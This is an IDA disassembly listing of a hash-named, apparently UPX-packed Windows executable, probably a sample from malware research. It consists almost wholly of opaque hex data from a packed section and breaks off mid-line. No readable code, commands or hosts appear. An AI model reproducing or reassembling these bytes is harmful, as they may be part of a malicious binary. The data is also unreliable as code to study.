; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 8ADA2B77C95E044BEA62221BEB5B03F9 ; File Name : u:\work\8ada2b77c95e044bea62221beb5b03f9_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00016000 ( 90112.) ; Offset to raw data for section: 00001000 ; Flags E00000A0: Text Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 5800h dup(0) UPX0 ends ; --------------------------------------------------------------------------- ; Section 2. (virtual address 00017000) ; Virtual size : 0000C000 ( 49152.) ; Section size in file : 0000C000 ( 49152.) ; Offset to raw data for section: 00017000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 417000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing retf 0F77Fh ; --------------------------------------------------------------------------- db 0FFh dd 0D2BFD806h, 53513BBFh, 0AB36D053h, 0B853AF03h, 0AF16D854h dd 0ED76DA13h, 0D006EFDBh, 0D353D66Fh, 0D75C1B12h, 10055245h dd 6EC367ACh, 0D6DE47FFh, 0ACACAEF3h, 9AABB03h, 0D0A0A16h dd 0DAECDD87h, 0C23A6FFh, 5039ADA3h, 0EFAC2539h, 26FDBCCDh dd 5B46AC5Bh, 0F6D03523h, 0D85E60B3h, 0EB9B08D6h, 6636B1Eh dd 5B7D694h, 8F095F57h, 20C8DB3Bh, 0A74B03DEh, 5D276352h dd 0B716BF64h, 9BE657BBh, 3E7B5ED9h, 53606F05h, 0B5FDCF50h dd 0EED036FFh, 51275305h, 390A00B8h, 0DD162652h, 83B6BD83h dd 5253285Fh, 0F13A9CBBh, 4646C997h, 0CB315FB6h, 37594DCBh dd 5367370Dh, 2693D657h, 0BAABAB10h, 0E6DCEC17h, 7B6FACB2h dd 1C0A81BAh, 0DB1B909Ah, 5F452376h, 3D33BB9h, 3CFBF153h dd 3EC399D7h, 118FBA56h, 263B08FFh, 77050CF9h, 3AD7BBD3h dd 5111663Ah, 0E47F6E16h, 0AF1ED821h, 4DA9B50h, 5C8A2ED0h dd 16EC8B64h, 57525340h, 35ABBA52h, 0F3722C3Ch, 0A280E3Bh dd 0DEFCDA83h, 59D68877h, 0D60E1B07h, 7B7DADA7h, 0A26BF6ECh dd 5C11505Bh, 0AB1513EDh, 8777260Fh, 538B3EC5h, 56D7DE2Ch dd 0B3125E48h, 0B8270B60h, 0B012E13Eh, 0CEC39E45h, 5112AE80h dd 97EC1D93h, 50BBFD83h, 0FF3B0405h, 0AE07AC51h, 0FCEEDDF7h dd 520BBC4Dh, 0A8DBB11h, 0D6E55C0Ah, 3D8F180Bh, 271805DBh dd 0D80E2270h, 3B63AC29h, 0C7D8E7F6h, 0E58D217h, 4391F684h dd 71ECCBBh, 85919F0Ah, 261F1FA3h, 0ED738040h, 0BB2FFE3Bh dd 606CD7F4h, 57B3BA93h, 0E35AB107h, 0BB77B67Ch, 1B2C5F2Bh dd 0D87017F6h, 3643937h, 4FD80603h, 0EFFBB7F0h, 680BDED8h dd 59DE5C5Bh, 0DE6D841h, 7847A53Ah, 16ECF0B3h, 0B1572B1Fh dd 64576ABBh, 446E4526h, 31EE0B58h, 0DDAF6789h, 1AB35B33h dd 0C30603DFh, 0E9933C5Dh, 0DE2323FDh, 17DE571Ah, 2F035F52h dd 8C6E6027h, 0D0F58F3h, 0F30EB22h, 5A4A5B42h, 0A41E5752h dd 308C488Bh, 0D093F746h, 0C75F4293h, 6F006FD6h, 0EEDF273Bh dd 0E1AC7D42h, 87816B13h, 0D80265EFh, 26D6785Bh, 0FD941F6Eh dd 5F25D2DCh, 0B8D4B5Fh, 643176B8h, 0DA3637BAh, 0B05D82Ah dd 6F687663h, 0C6B1AB2h, 0DB436505h, 5711E77Bh, 0C3B12B50h dd 9DEBABCBh, 5AF7F23h, 7270184Eh, 0EEEF74C1h, 0B16D0C51h dd 22FBAF7Bh, 0AF773907h, 0D806AF77h, 0CD63C27Bh, 6A0A9916h dd 77D45C11h, 0B3B71FA9h, 1150862Fh, 0DEED49EDh, 0EE906851h dd 2792EC0Bh, 92D0196Dh, 5721C73h, 0BA8664B3h, 0DE289471h dd 7399CC64h, 6738860h, 0F7A5786Bh, 3132330Ch, 304B44CFh dd 23036BF7h, 0CE1ABAC3h, 0AFD8F328h, 501E1CB0h, 1BC642DEh dd 0B00367AEh, 8A595FEEh, 7EB5270Bh, 6012F5C3h, 23F8C32Ah dd 56BB0F27h, 0ADE489F1h, 0A48B7B72h, 0CE725937h, 8A061707h dd 0BD3859BFh, 0A8BC3B23h, 0A616D9CFh, 464FD6DBh, 32760518h dd 0A8CE36D3h, 320D23A4h, 4F3BD4F1h, 3EC6DDCCh, 47ED8B07h dd 5FDB56D9h, 0A4897DB8h, 1B4030C1h, 0E9563FF3h, 0F7BBEB64h dd 0D00A21A9h, 3DDBCA90h, 3742D870h, 0D2897EF7h, 30D783BAh dd 13184646h, 9B136385h, 0A6FC6C3Dh, 7681AC6h, 952326E5h dd 0CC277D7Eh, 0A8864F2Dh, 5E1F10h, 9F584C1Fh, 76BBE661h dd 6C01B807h, 2D202964h, 0F74E1794h, 3C97813Bh, 0EEB3D3ABh dd 0C1C7249h, 4E05AFD8h, 229F3B2Ch, 60E47CEEh, 80D3438Dh dd 0BA5CB82Ch, 0F77B4036h, 422BE3Dh, 0D0C276Fh, 0EFC919Ah dd 65D83616h, 5F160202h, 0E0CE5E05h, 0BBEE58C1h, 529500D0h dd 0E07B24DEh, 0BB777DE0h, 3C531326h, 6FDF38E2h, 0D9B124A2h dd 1BDB431Eh, 8C013057h, 5E3B8141h, 305612DAh, 721B5F52h dd 93E24F81h, 1CA55Ah, 3773B711h, 1C5A56B7h, 8C141913h dd 0F34316F6h, 60D8616Bh, 0CFE5945Ah, 0AE081CD2h, 0C7A613FBh dd 3BAB2650h, 0C390A27h, 8176EF83h, 1341BDAFh, 0CE2E007Fh dd 0B784114Bh, 6ED01F74h, 27278D77h, 0C620866h, 14DB21C8h dd 1C4F4B4Bh, 4F872032h, 77037373h, 6A0E9306h, 67D3EB53h dd 0F186EE0Dh, 3AADAD3h, 7DE0D5Dh, 2723E136h, 9D61391Dh dd 0BB772723h, 1D478597h, 7F567801h, 37A76E4Dh, 79B85121h dd 779096C9h, 53A90021h, 0C4FBAF6Dh, 156EBB05h, 5F2D14F0h dd 7097B0FEh, 2759402Fh, 265E0A58h, 0F8F73B46h, 0EB31C08Ch dd 1E9AD53h, 1E1D44B8h, 51615916h, 1933B817h, 8627C344h dd 0E8910E0Eh, 0C483CE5Dh, 633C8386h, 50F4C254h, 0E6DDBF3Ah dd 0E7AB9F24h, 0BB02F002h, 607E05E6h, 0B97B143Eh, 0AFA70E8Ch dd 7BAD78B6h, 463B0D99h, 273F7814h, 284C4D9Bh, 2E2DABBFh dd 9AB1931Bh, 0BBD850AFh, 0DBA3E25Fh, 72034EF9h, 6BB4EBFh dd 3B64FBCBh, 234ECF27h, 0B97BBB4Bh, 98320DCCh, 0E4A77953h dd 4F217938h, 0AB8BC706h, 6E8EAEBCh, 2FA22727h, 0C85D35E8h dd 4E246F22h, 27DDB670h, 4B41E64Eh, 0C66E90Eh, 23FDA340h dd 0E3D9CF7Ch, 4329792Fh, 0CC2C8F7Bh, 91DF9E4Dh, 12173903h dd 0E9DFAFF3h, 0F3B348CEh, 0F49F17F3h, 0BD767735h, 0ABD88367h dd 0F7AF8B31h, 0B6406660h, 61B38F0Bh, 0B05EEB19h, 5201B255h dd 90E463BAh, 0AD84826Eh, 9EF1532Fh, 9F51B906h, 0D96BE66Eh dd 0C79C234Eh, 17F05CD8h, 4ED9C70Ah, 694BE45Fh, 0B32C03F0h dd 254E2593h, 73ABE794h, 5678114Bh, 5437F609h, 621F3E17h dd 0AF0C6D04h, 611CC1AEh, 124DE96Fh, 1B1D03CFh, 0A43B0718h dd 3BADD38Ch, 1F7ABC9Bh, 0A9A3E11Ah, 0BACFAF44h, 0A2F75858h dd 141F85Bh, 506F8331h, 47D809F9h, 4F3EBE46h, 0D27727D7h dd 0F9B20EEh, 4A2776C8h, 53EBB7FBh, 4B539353h, 977527B8h dd 6DBA8D59h, 6787E0D1h, 0AB90722Fh, 0C06AB87h, 0CC1EF468h dd 7220AB6Eh, 9AAFE60Ah, 6BD0CF1Eh, 0ABE4C126h, 0B0DA948Eh dd 0ABACA591h, 0E435415Fh, 95BEF090h, 0D907E4AFh, 4EB8241Dh dd 0A7B7A4C3h, 6DB04206h, 4956DB32h, 3B840A18h, 0A8C71E46h dd 7CBBF3D8h, 10D3D0A8h, 29629C88h, 26E79B8Eh, 1EA8E04Ch dd 14626B73h, 2C3B3818h, 575E3BB3h, 91ACE4D3h, 0B52EC6Eh dd 0CB7302ECh, 0E070343Bh, 0F8C3D075h, 9E1A0128h, 3B34D7F4h dd 83CAD17Fh, 98C33622h, 0DE07CD90h, 1EC550F4h, 5E04B929h dd 0CC6A0C31h, 1CF9F57h, 530FD379h, 122E5157h, 9B064B3Bh dd 52577C0Fh, 0F74AD2AEh, 703E7D24h, 4E462F77h, 1E473B78h dd 7F00B29h, 0A67FBEEh, 64F94409h, 73A73B5Ch, 0DCCFDEB0h dd 49E458EEh, 4E5557B6h, 854879F2h, 1FAEA973h, 0ACC11FBFh dd 161766CEh, 60EC54FEh, 1162A6AEh, 92665ABBh, 0DEB9F20Bh dd 0A94FA94Fh, 0F2753946h, 2B9BE4E1h, 7443D548h, 0FD8C621Ah dd 0A81A5F9Eh, 0BC617E3Dh, 0CF7B1CDAh, 3E143DF2h, 79FB4F4Ch dd 418C6F4Ah, 0C6832E06h, 0AFC57A77h, 0D88160DEh, 0D1D37AB2h dd 0F9F23B9Bh, 79AF00ADh, 4214BBE5h, 92604B9Bh, 1AF63C7Bh dd 8E7C4881h, 0DCC2747Ch, 43211BABh, 1D66E8A9h, 0D29805EFh dd 8B252B08h, 58DC8D8Dh, 2250D82Fh, 8B3A0BDAh, 0AF646466h dd 0EE395F1Fh, 5EC3E137h, 75BB5507h, 0FECCC267h, 2EB9E15Eh dd 0F878B63Ah, 0AC521895h, 65765CB7h, 19CA4520h, 9A1EE083h dd 391E17B7h, 0E6BCDD0Dh, 6731706Bh, 6A230B47h, 0D6763CD6h dd 0C30DE3Dh, 1ED8E41Bh, 0C753EACAh, 0D02ED9Ah, 5B13AAA4h dd 0CE8A0588h, 0BE6916C8h, 78643857h, 78B7531Ch, 8B05BFBBh dd 8BC52366h, 8E9D22EEh dd 73E434Fh, 5CBB77ECh, 0AFAAAF27h, 10BC20AAh, 3B832162h dd 7387B67h, 0E7FD39E1h, 19B0C473h, 4E1821F3h, 0D0EDB111h dd 665325FFh, 0CAEA4C7h, 4F898885h, 39F24E59h, 4F519FC8h dd 311920A4h, 4D9F219h, 31A41247h, 0A55B191Ah, 2FBC7E7Bh dd 460E1B07h, 2A44A55Bh, 44B9F23h, 42A543D5h, 0E09A6019h dd 9C2C66BDh, 794D491Eh, 12F04F60h, 0B3301144h, 0AEC71Ah dd 74F3A1DDh, 38534318h, 0D8EDD30Dh, 0A316224Bh, 95FEF81Fh dd 8FCF9101h, 5139139Bh, 57525A39h, 0B914AABFh, 27287BC0h dd 0C08DDB68h, 16CE1B93h, 26E2CBD3h, 0EBDD5066h, 4257E173h dd 40DBA6AFh, 0D8BB40FAh, 70D3ADC9h, 0F3F99DB1h, 9122521Eh dd 0BB3DED91h, 0E5187782h, 273E5757h, 0C55461B5h, 0D02BB36Bh dd 0D7BE71F4h, 3BC5FD70h, 0C173A438h, 4761F905h, 2C903DA4h dd 90667B79h, 0CC4840B3h, 6CEF16CEh, 644767C2h, 5A0D7F1Ah dd 0E7B0644Ch, 0F08EAD4Ch, 0FA9F4023h, 3EF9DE12h, 22D0373Bh dd 7B05A473h, 0E2283E41h, 0A936CE39h, 402E9869h, 3C490317h dd 4C80C883h, 9E9A9A1Bh, 3371CCF0h, 0A9B819B9h, 0AABB0976h dd 9F3D98DBh, 5AAABBB2h, 96782908h, 5A3D9E4h, 0C6E97A44h dd 673BD97Ah, 4B2762BDh, 0E7B363E6h, 0D831EBF3h, 0D0734B74h dd 0B99AAB16h, 0E28DC9E7h, 275F14A8h, 3E7C8A5Fh, 0A3D148C5h dd 241B5BAEh, 46DCF907h, 0A6A7A6A7h, 0D7E6A6A7h, 0FF39DB3Bh dd 0BB2631A7h, 81AC2CAAh, 9F7CACC8h, 0C2768C74h, 0D1AD0B65h dd 0BA400A84h, 0B59E4953h, 345353E4h, 9F23A44Fh, 0E8D9F5Dh dd 141E22ACh, 3C13A55Fh, 1491CF90h, 0A6ABA55Fh, 4D22A6A3h dd 0A6A3F9F7h, 4738A6BFh, 0DEB27278h, 5BB1CD9h, 0EBA6BF22h dd 0BF1ECB9Dh, 5B72715h, 61320322h, 0D8E3CD0Bh, 0ACC27870h dd 980122E3h, 0C97A9B7Dh, 0E7B39E4Bh, 2E74B215h, 0EB078921h dd 0B8572ECFh, 309BB899h, 3C5FBFD0h, 1B659659h, 5F430541h dd 3A175547h, 534B714Bh, 2DC7A6AFh, 32C76E15h, 0ABAB6D12h dd 7E2ED221h, 0CD91E4Eh, 4F861F8Ah, 13A70DBBh, 0A759375Dh dd 0E61F1317h, 92C4D3AFh, 16B585CFh, 0F38ACFE3h, 0A972C480h dd 652168Bh, 0E04EC659h, 92761643h, 27CF6753h, 7AC54746h dd 3918FB52h, 0B98CF26Eh, 51159E55h, 645F10C1h, 1ED8FE2Bh dd 7CDBDAA7h, 24F03251h, 2601FC60h, 43B63423h, 0C2D02F3Bh dd 6B839724h, 23CCF4Dh, 80E03B17h, 53415533h, 0B7D84CC8h dd 32154E64h, 360241C5h, 17A88179h, 60724E8Ah, 178FC5CFh dd 7391F38Ah, 692C0D89h, 5773D542h, 0B32D89FDh, 53472E25h dd 9E9BF579h, 0A8BF075Fh, 54A8BF93h, 80500591h, 7D62186Bh dd 6C52FC19h, 4F837364h, 95711FAFh, 0ACD30E47h, 231A3980h dd 0BD964A0Dh, 0A8BF66C8h, 3B6C7FE7h, 0CBD83233h, 767E4A1Eh dd 6C1DB3B3h, 835AF7Bh, 6E254072h, 0F730E7Fh, 82991D67h dd 6C7185BFh, 7B646764h, 0A3A33D0Ah, 311EF034h, 36C65BC8h dd 0F603931Bh, 3B2A55CCh, 10A8438Bh, 0B191D8D8h, 5DA781A7h dd 2D680ED8h, 0D87938A7h, 78E55125h, 0EE6C5710h, 29B7BDB3h dd 933BB744h, 33A72550h, 0F6F739B2h, 0ABD2F14Fh, 0B09C9DABh dd 0B7265266h, 0A478399Dh, 58DB67D9h, 7F727713h, 43215121h dd 0BD4CC3ACh, 6E0F5CD1h, 31FF091Eh, 9064704Dh, 5373966Bh dd 0C17B732Bh, 0DED8DFA7h, 375BDA34h, 30B86C10h, 26419918h dd 611FC754h, 24BF6723h, 0BBED11BEh, 677B93BBh, 79853804h dd 8A1B3055h, 3C3EDBF0h, 7829DEDEh, 7B36C92h, 0B833029Bh dd 31612B67h, 0BE4DC0A3h, 0DB7E4526h, 7B71502h, 22BDA92h dd 7BB2B2CBh, 67167B7Ah, 0DF7B0675h, 7E8E0B40h, 9C610E04h dd 0B0BACD36h, 79BB30E8h, 483B0640h, 1D52567Bh, 53677293h dd 0D71028FAh, 9E119EC1h, 0B7DFB353h, 0CECD354Fh, 1298C97Ah dd 9DC7A99h, 68C3D91Bh, 9C2F05AFh, 0F812C934h, 0B362CC21h dd 0E7E64CE2h, 0D8392F26h, 1224E04Eh, 0E48B7A25h, 0BD222968h dd 0BE628B71h, 0E6CB53Ch, 45BF906h, 2750FC3Bh, 70841CF9h dd 1251AA97h, 2C813A2h, 9B173367h, 941677BAh, 1398DF1Bh dd 0AE2B910Ah, 1CB04D80h, 67AE27E4h, 0DB4DF3AAh, 0DDBBBBECh dd 39152FD6h, 0EEDED24Ch, 0F8A00A2Eh, 1AF9F835h, 1C93905Bh dd 0AA16AA17h, 5DE26B3Ch, 9F693B72h, 3E8FD8A9h, 8B7CF9F2h dd 0A883D69Fh, 5439F901h, 64C6973Bh, 9A15C5EBh, 2C8E2E8Ch dd 5CF03B2Eh, 499ED6D6h, 0B609619Ch, 0C233E011h, 8B370935h dd 0BD9B2E40h, 762673ABh, 97DF6522h, 0BF708ECDh, 70B8F7FAh dd 730F2440h, 94203263h, 0CCAA97CEh, 8E64F135h, 80559E38h dd 0DF9B0490h, 0F23D18E4h, 0AA13A76Ch, 0A5C31B07h, 0BD0E7877h dd 48D77B05h, 47BDB640h, 36941933h, 0CECA69A1h, 0ACD06325h dd 53ABABC4h, 6F677B2h, 350B502Fh, 5BFB3F8Eh, 4D174A59h dd 3D04267Ch, 7856F7D3h, 9D8EE74h, 0BE9D7F6Ah, 6037B646h dd 9D9B3B09h, 33E30DEh, 9DB93E13h, 6D82F90Bh, 0BAAA6B91h dd 0F6055684h, 6FB7CD95h, 18682F63h, 0F20695F6h, 0BD712C6Ah dd 0D01DD905h, 0DB7DE3AEh, 0B09B5ED7h, 5EBA582Ah, 34A1A407h dd 7EC9838h, 723B11C3h, 132620EBh, 3BAA6B53h, 21052003h dd 7AD31676h, 0C871BAA7h, 47358760h, 195567BCh, 6F4D46B0h dd 65592255h, 264B901Ch, 6E9C1735h, 9C81FC83h, 530AE99Dh dd 4551EB6Fh, 4C5F639Eh, 0AE2F316Bh, 9E4773CEh, 0AA171283h dd 2AD5BAD9h, 721C9D9h, 12E563A4h, 390076Eh, 6E1C7F72h dd 0C64C6E69h, 285025C7h, 7253AE7Ch, 4B80E790h, 3A7D5FF4h dd 78CBC953h, 0A4A9574Dh, 6C91F96Fh, 135392B9h, 5E0B16DDh dd 9B5FD3F6h, 0D7D7AF3Bh, 8D226E55h, 0AB399E05h, 8F764505h dd 9E00459Eh, 0D6C734Fh, 2F610313h, 0D22410F6h, 461BAD18h dd 843B3193h, 9C1A3552h, 1E71D79Ah, 6F7E0C08h, 5AF6F42h dd 3B6C0727h, 6FD284ABh, 84BC972Bh, 292B68F3h, 4DBDD79Fh dd 0F6903D02h, 0D8253B57h, 0EF119EF7h, 0EC9AA53Dh, 7C155368h dd 0C9BD9605h, 0F21D4EA8h, 8EE51AE5h, 540697BBh, 0B463BC19h dd 7D6FE6B3h, 61002684h, 3AAC36B9h, 3C032D49h, 0F592C43Bh dd 68C00323h, 81C058FFh, 170F2C2Ch, 0D917C8CBh, 77970C76h dd 515B27D9h, 47929E4h, 2650AA9Bh, 0DB232116h, 4FD24D82h dd 8311B95Dh, 520A3C3Ah, 0AD8E394Bh, 27975088h, 24CD0947h dd 8F9386DDh, 9167EB8h, 3902E743h, 0B593D98h, 72F6FA4Eh dd 3243CEF5h, 0F7875140h, 923C6CF9h, 5B6E59BBh, 0FE8C5FF6h dd 5970B20Ch, 60AB0388h, 0F1789069h, 232DCF26h, 0C53A4AFh dd 87260C8h, 7427AB0Ah, 3FE301CFh, 4FF09729h, 27740AA6h dd 2D5C9D82h, 0A42CC0FEh, 2693B2E1h, 393AE258h, 0B0658A0Eh dd 0AE394B11h, 0C0D2C8BFh, 54B2E31h, 34192573h, 3E41B2FDh dd 6C05BB56h, 39C070E5h, 171E4BC9h, 77F078D7h, 0C97903ABh dd 55D74703h, 60E5CBF0h, 0B6364FD4h, 0A9D4A9DFh, 438AC0Bh dd 0E5476C30h, 0E01A6CF6h, 98FC1AEBh, 0D818BF6Bh, 0BFCF5FEAh dd 395BD2CCh, 575A3929h, 87C48FA2h, 0AD813520h, 0A35637D3h dd 0DB9C9675h, 157AD522h, 6ACD6B35h, 559B6373h, 75433F10h dd 5F23C85Fh, 14D0BF8Ch, 5B56BF53h, 7364C03Fh, 1439180Ah dd 585F56BFh, 7A22A7B2h, 0CD43230Ah, 802B6ACFh, 3BBF92D6h dd 0CB2D7961h, 3190381Fh, 3B52FC47h, 5BB8D6Fh, 1B81C03Fh dd 6B6E170Ah, 0AA97518Dh dd 21D4263Ch, 476D48Bh, 0D87CF686h, 0D22F8C04h, 5BD97BEEh dd 937905F0h, 270B6124h, 39EC172Fh, 0D3503979h, 13560627h dd 0ECE6D90Bh, 0B8154EE7h, 21DE0D3Ch, 9ECE2530h, 25C0CD93h dd 0B7AC703h, 0E9B74FAEh, 6EB87C7Eh, 67B8EF83h, 3478F708h dd 0D734F34Fh, 134A3771h, 0F34F7486h, 0B9547743h, 0A2605347h dd 7A52FE8Eh, 67ABDE40h, 591D5B5Fh, 41D5AF0Bh, 588D7F09h dd 1B29FFA9h, 0AC571306h, 0A2661C80h, 0EB0BEDE3h, 0C80C80C8h dd 0CCFE797h, 0F30C80C8h, 0C8DFFFBh, 0E3F780C8h, 70B77AFh dd 0F0F40528h, 0E73B971Fh, 0CF7DAA89h, 86AF1285h, 0D01C1BCCh dd 1C109EEAh, 38CE7EF6h, 22ADA7C4h, 1E4A5351h, 0A1B0806Ah dd 521FF491h, 0C85E24F7h, 0F4B366F7h, 0B8F2C5D5h, 0C7B3B58h dd 0EFB98EDAh, 0F312F1Ch, 6BD2754Fh, 1F09E7EDh, 144D26DAh dd 0D813D3D8h, 59290C1Eh, 571AF3F4h, 9BD0D2DAh, 9B2719ACh dd 1B60BEDBh, 432E1D8Eh, 724D08AFh, 5127F573h, 6C3B4627h dd 21675866h, 0DF83DF90h, 0A8BA0AEBh, 525B2653h, 6792E799h dd 876F6F5Bh, 0B056D3FAh, 0B9495B53h, 0BB6361h, 965A5666h dd 439F7746h, 2C72439Fh, 6D56EF1Fh, 51FACD07h, 0E09FF720h dd 0BBDC9953h, 602C2502h, 0B5A08316h, 0F13AD67h, 250C9435h dd 0BE23AFB6h, 0F1B4720h, 6B42034Ch, 6B6DCA2Fh, 0E6815435h dd 8FC9949Fh, 0C763336Dh, 185BF658h, 0DF605A9Bh, 3B9BA1DCh dd 0DA9BFE21h, 0E5205B1Bh, 5F32CF90h, 97559797h, 0B1D9A5B7h dd 43434B5Fh, 15739612h, 7B36DA9Fh, 4B12FAA5h, 0F68736D0h dd 2B9A1593h, 0DDE0B3BEh, 2147FD67h, 9961C65Bh, 0D9FA922Eh dd 441B626Fh, 0EB59F86Bh, 970F79A8h, 2CB3E41Bh, 0B33ED99Bh dd 87B31C13h, 20EBBF42h, 0E40CD6Eh, 0B138DB6Fh, 999DD133h dd 2DC3B364h, 43639338h, 0BD08CB2h, 0B7B73E67h, 87F20339h dd 0B7432565h, 0A3675EBBh, 2E43903Ch, 4BA360AEh, 0DB233567h dd 0BB9DA184h, 9823BBBBh, 6806D6EAh, 60D05C53h, 0D6DF5931h dd 93D43BA1h, 7353AB30h, 7EB593BBh, 0D8B7BA33h, 9CDA9306h dd 1BF940Eh, 89D85684h, 52EF37EFh, 217E121Bh, 5207DAEFh dd 8127EB90h, 0EBF21735h, 605FEB55h, 84D87286h, 0A5DE109Eh dd 6CBF8436h, 0B7069A0Ch, 4B5917DAh, 0AC2C655h, 0DB57EF87h dd 9B9A7B4h, 0E45B2D30h, 619E1742h, 7D4ABB7Fh, 1B93BAF7h dd 1B0A9B50h, 511F4B0Bh, 6DB9BA4Fh, 93304670h, 4359B7E4h dd 123B38A7h, 0E25767F7h, 0D25CBD26h, 5A27D2FCh, 0B377730Ah dd 757593D6h, 0F0162211h, 2040349Fh, 37108E99h, 5DD8EC5Ch dd 1ECC0B0Eh, 0D05551F3h, 6D43D6C4h, 0AC2CC710h, 0B24F1023h dd 0C13CF4DCh, 5B9F409Fh, 5123BAC2h, 16605782h, 78151904h dd 7D41D19Bh, 936F13A5h, 0AE51B3D0h, 7F9F7BE6h, 0E8411BAh dd 716D2B57h, 57B307B6h, 735D775Ch, 181DB362h, 77145824h dd 73465CBAh, 0AC1C30E9h, 1362DAC3h, 92E7D918h, 0B92547EDh dd 52B51414h, 58727D89h, 398B2DB2h, 1E5395BAh, 81832B72h dd 53C3DE52h, 59AF2BD2h, 2C1B07A1h, 77F0E2Eh, 26D815E4h dd 523DA026h, 847863BBh, 9A16215Ch, 1B0EC86Ch, 107B2D29h dd 990345F1h, 0A0791687h, 2D8B8D4Bh, 4E7F260Ch, 209F593Ah dd 0B2059C6Dh, 58517C35h, 0F016CEF7h, 0F93E45Ch, 0CC5E2367h dd 10C83200h, 0DAB1F34Fh, 927C141h, 4C1A6341h, 3E84687Ch dd 767C4337h, 0C38A12BBh, 5C67C1C8h, 0E11B7BE4h, 4C4B1701h dd 150BDDD6h, 64F61C91h, 707C81ABh, 37DE2F41h, 2561B8ECh dd 0E528F06Eh, 5C104575h, 0DFFA0C99h, 0E871B4C9h, 8A466716h dd 3086020Ch, 0F64F671Bh, 3F00725Bh, 1F2DBE84h, 3B4B720Eh dd 307BDAF3h, 78274A8h, 2B3B40A4h, 0CD8BB613h, 16A726F6h dd 0B413F00Bh, 43263B3Bh, 2B02070Dh, 0D8A6F853h, 0BD8C833h dd 1F1BBF2Ah, 0F2133C12h, 3131F4Ch, 0CF213367h, 0B770784h dd 0C84CF213h, 33530F47h, 3E40E790h, 8337DBBFh, 9BF25A24h dd 0DB9BC23Bh, 0D6320CAEh, 260A1F62h, 3C843FABh, 12F3F613h dd 37C8DB23h, 2327CF21h, 0C375F2Bh, 0AF0C2CF2h, 0D7AFDB18h dd 8B099E42h, 166FDB12h, 0DF6646BDh, 0C5732B24h, 8B64659h dd 7FDF5ADBh, 1FBBF4ADh, 0DB1A5694h, 1B09A366h, 845394E9h dd 41EFE08Dh, 0EE1C5601h, 0DB671368h, 67B190C9h, 4BA3A3B9h dd 1967A372h, 5FD367B0h, 2CBBBB26h, 0BFCF20CCh, 6A2FBBD4h dd 7A9BB714h, 84417BEBh, 35527E93h, 879452FEh, 3C39E6Ch dd 7E7E6DBDh, 66D1E27Eh, 0BD074B57h, 0A0ED5BDDh, 8DA59E4Dh dd 636BDBDh, 0EA372373h, 4CDC0A4Ah, 7CF9D82Fh, 3850F57Eh dd 0BD09DA97h, 0B674C59Eh, 3A411113h, 0E666BD1Fh, 1B56B5ACh dd 5F737B33h, 1189073Dh, 0D54731Ch, 3A2D8D80h, 27907CACh dd 56CFA043h, 43A3859Eh, 0D946401Bh, 0CD13CCF6h, 0FC05BE8Bh dd 7B800848h, 70ACC2B0h, 7F03BB2Ch, 83B968D0h, 2543F1BDh dd 47DF3742h, 8317BB7Bh, 0EDA02EF6h, 0A7BD9B56h, 6D230839h dd 0BE5702BAh, 63FA7F44h, 73D82D91h, 0CE16C042h, 0B058F177h dd 77741DD8h, 0B6BB3815h, 999D8B78h, 0DAE3B70Fh, 3B445B77h dd 259D9E4Bh, 4727A014h, 0B39D1AD1h, 0D78B3C9h, 2C1CDFF1h dd 5FE9C2F2h, 409FBF47h, 0F5384F30h, 0BA4C8CFDh, 0C888B25Fh dd 4D69341h, 71378C3Ah, 535161BEh, 0D94B5FE3h, 842E0312h dd 0E4B8D12Ah, 0C024BA55h, 3E69784Bh, 758C5911h, 4C270858h dd 5477EB7h, 0D2118C8Dh, 0D4F455D8h, 6749C2F9h, 0CDAB9BABh dd 0D88D4765h, 6EA06FABh, 0F747067Fh, 0DE260AE6h, 7325529Ah dd 24175045h, 53E4E8h, 6D8130Dh, 6F03CEEDh, 71B1B5Fh, 0EDC08918h dd 5DDF203Eh, 92AFE525h, 0D20D43BBh, 6E64B0B2h, 92509E53h dd 252113C0h, 0A4F66E66h, 0DF4A6A83h, 0BB2DD9F3h, 50051DBBh dd 57EB7527h, 776C3727h, 7FBDB953h, 4EAD3BB0h, 9188BB52h dd 585B42DCh, 9DD81C8Fh, 0B7D35B82h, 0B392EF1Eh, 37580C5Bh dd 7F762160h, 60CB23ACh, 4383216Dh, 80B12324h, 4B27320Ch dd 82E789AAh, 0D116144Ah, 8A593B2Bh, 2818BB1Dh, 230E9B9Dh dd 1E193E29h, 0BC1B3B57h, 0FE7974A9h, 689AE90h, 1A00B756h dd 2F6D8313h, 396B5F64h, 0A21A6756h, 909F9064h, 50394E7Ah dd 0C885633Bh, 512E8931h, 0F35044F7h, 29218CB1h, 42BA6255h dd 0D5F5CD1h, 2D712F0Fh, 3EFC0080h, 293A7A10h, 0BF8E567Bh dd 0B8574C54h, 4BF09593h, 197B24DEh, 1634450Ah, 167E0B68h dd 577BF7ACh, 67DE7E9h, 6D58EB3Bh, 9A89DCDAh, 63BCF21Fh dd 3775D62h, 0D746620Eh, 5AA7BB02h, 14734732h, 1145E003h dd 47C82A80h, 0BBE8FBADh, 0C31342CCh, 0BBA72604h, 6205CF43h dd 81819A8Eh, 0BB73B1C7h, 0BBE9F357h, 0CBC1AC3Eh, 8FCCD5B1h dd 0E131C73Bh, 2B0D7C8Dh, 210319F2h, 0FE13D5B2h, 44B5E44h dd 0DAEE76BFh, 0BBAF5972h, 5C10DA31h, 857083C6h, 59B3E164h dd 65C83204h, 0BFEE2A3Bh, 0D8BFAD4Fh, 6AE4C48Bh, 0ED23A050h dd 77373641h, 0FED1E51h, 9C5E10D9h, 